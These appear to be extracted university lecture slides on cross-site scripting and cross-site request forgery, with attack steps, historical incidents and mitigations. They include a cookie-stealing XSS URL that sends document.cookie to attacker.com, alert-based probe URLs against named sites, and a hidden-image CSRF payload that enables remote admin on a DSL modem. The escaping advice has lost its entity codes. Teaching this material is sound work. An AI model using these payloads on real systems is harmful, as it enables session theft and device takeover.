Cross-Site Attacks

Cross-Site Attacks

James WaldenNorthern Kentucky University

CSC 666: Secure Software Engineering

Cross-Site Attacks

Target users of application. Use application feature to reach other users

of application. Clients are less well defended than servers. Obtain assets of individual users rather than

assets of entire application.

Most common type of attack. Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF)


Cross-Site Scripting (XSS)

Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing.

Impact of XSS Account hijacking. Browser hijacking (malware hosting.) Information leakage (stored form values, etc.) Virtual defacement.


XSS ExamplesMySpace worm (October 2005)

When someone viewed Samy’s profile:- Set him as friend of viewer.- Incorporated code in viewer’s profile.

Paypal (2006) XSS redirect used to steal money from Paypal

users in a phishing scam.BBC, CBS (2006)

By following XSS link from securitylab.ru, you could read an apparently valid story on the BBC or CBS site claiming that Bush appointed a 9-year old as head of the Information Security department.


XSS Key Steps

1. Attacker sends code to web application.2. Legitimate user accesses web app.3. Web app sends attacker code to user.4. User’s browser executes code.


XSS Example

Client browser sends an error message to the web server.

https://example.com/error.php?message=Sorry%2C+an +error+occurred


XSS Example

The error message is “Reflected” back from the Web server to the client in a web page.


XSS Example

We can replace the error with JavaScript

https://example.com/error.php?message=<script>alert(‘xss’);</script>


Exploiting the Example

1. User logins in and is issued a cookie2. Attacker feed the URL to user

https://example.com/error.php?message=<script>var+i=new+Image;+i.src=“http://attacker.com/”%2bdocument.cookie;</script>


Why does XSS Work?Same-Origin Policy

Browser only allows Javascript from site X to access cookies and other data from site X.

Attacker needs to make attack come from site X.

Vulnerable Server Program Any program that returns user input without

filtering out dangerous code.


Reflected XSS Attack Scenario

User clicks on link. Injected script returned by one-time message

from vulnerable site. User browser executes injected code.

Limitations Non-persistent. Only works when user clicks. Most common type of XSS (~75%).


Anatomy of an XSS Attack

1. Login

2. Cookie

Web Server

3. XSS Attack

AttackerUser

4. User clicks on XSS link.

5. XSS URL

7. Browser runs injected code.

Evil site saves ID.

8. Attacker hijacks user session.

6. Page with injected code.


XSS URL Exampleshttp://www.microsoft.com/education/?

ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script>

http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script>

http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=_%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E


Stored XSS Injected script stored in

Post or comment. Review. Uploaded file.

User views page with injected script. Malicious action is taken while user is logged

into site where malware found. Not technically cross-site.

Attack persists until injected code deleted.


DOM-based XSS

Attack scenario User clicks on URL with crafted Javascript. Application’s client code extracts data from

URL and dynamically updates page with it. User browser executes crafted Javascript that

was inserted in the page.

Exploits vulnerability in client code. Server does not reflect or store evil Javascript.


Mitigating XSS1. Disallow HTML input2. Allow only safe HTML tags3. Filter output

Replace HTML special characters in outputex: replace < with < and > with >also replace (, ), #, &

4. Tagged cookiesInclude IP address in cookie and only allow access to original IP address that cookie was created for.


Cross-Site Request Forgery

A confused deputy attack. Exploits trust that application has with

authentication sessions.Attack scenario:

User authenticates to web application. User browses to another site containing a

malicious CSRF attack link to web app.- iframe, img, link, bgsound, etc.

Browser accesses web app with cached credentials, performing whatever action specified by the link.


Why is the Application Fooled?

Browser sends same GET request if User submits form. Browser fetches iframe or img src, etc.

Browser sends cookies with any GET request to appropriate domain + path. Same origin policy applies to frames, XHRs,

but not to HTML tags.


Example: DSL Modem Attack Home network devs

administered via web apps. Standard local IPs.

Attacker inserts 1-pixel img tag on page. src is URL of form

submission, giving remote admin.

No password needed. Software owner assumed

device on trusted local network.

Of course, browser is on the local network too.

<img src="http://192.168.1.254/Forms/remoteRES_1?NSS_RemotePassword=blehblah&NSS_EnableWANAdminAccessRES=on&timeoutDisable=0&Enable=Enable" alt="" width="1" height="1" />


Mitigating CSRF

Require POST for data modifications, but Many frameworks automatically fetch both types of

parameters or convert one to other. Hidden POST requests can be created with scripts.

Check referer header. But users can block or forge referer header, so it

cannot be relied on for everyone.

Use nonces. Random token inserted as hidden parameter, and thus

submitted with form. But XSS can read form, so a combined XSS + CSRF

attack can bypass this defense.


Mitigating CSRF

Re-authenticate for high value transactions. Use out of band authentication if possible.

Expire session IDs quickly. But there will always be some time period in

which a CSRF attack will work.

Automate defenses with tools. CSRFGuard to insert nonces. CSRFTester to verify application.


References1. Brian Chess and Jacob West, Secure Programming with

Static Analysis, Addison-Wesley, 2007.2. Seth Fogie et. al., XSS Attacks: Cross-Site Scripting

Exploits and Defense, Syngress, 2007.3. Michael Howard, David LeBlanc, and John Viega, 19

Deadly Sins of Software Security, McGraw-Hill Osborne, 2005.

4. Nathan, http://www.neohaxor.org/2008/12/01/csrf-vulns-on-local-network-devices/, 2008.

5. PCI Security Standards Council, PCI DSS Requirements and Security Assessment Procedures, v1.2, 2008.

6. Dafydd Stuttart and Marcus Pinto, The Web Application Hacker’s Handbook, Wiley, 2008.

http://www.neohaxor.org/2008/12/01/csrf-vulns-on-local-network-devices/

http://www.neohaxor.org/2008/12/01/csrf-vulns-on-local-network-devices/

Documents

Cross-Site Attacks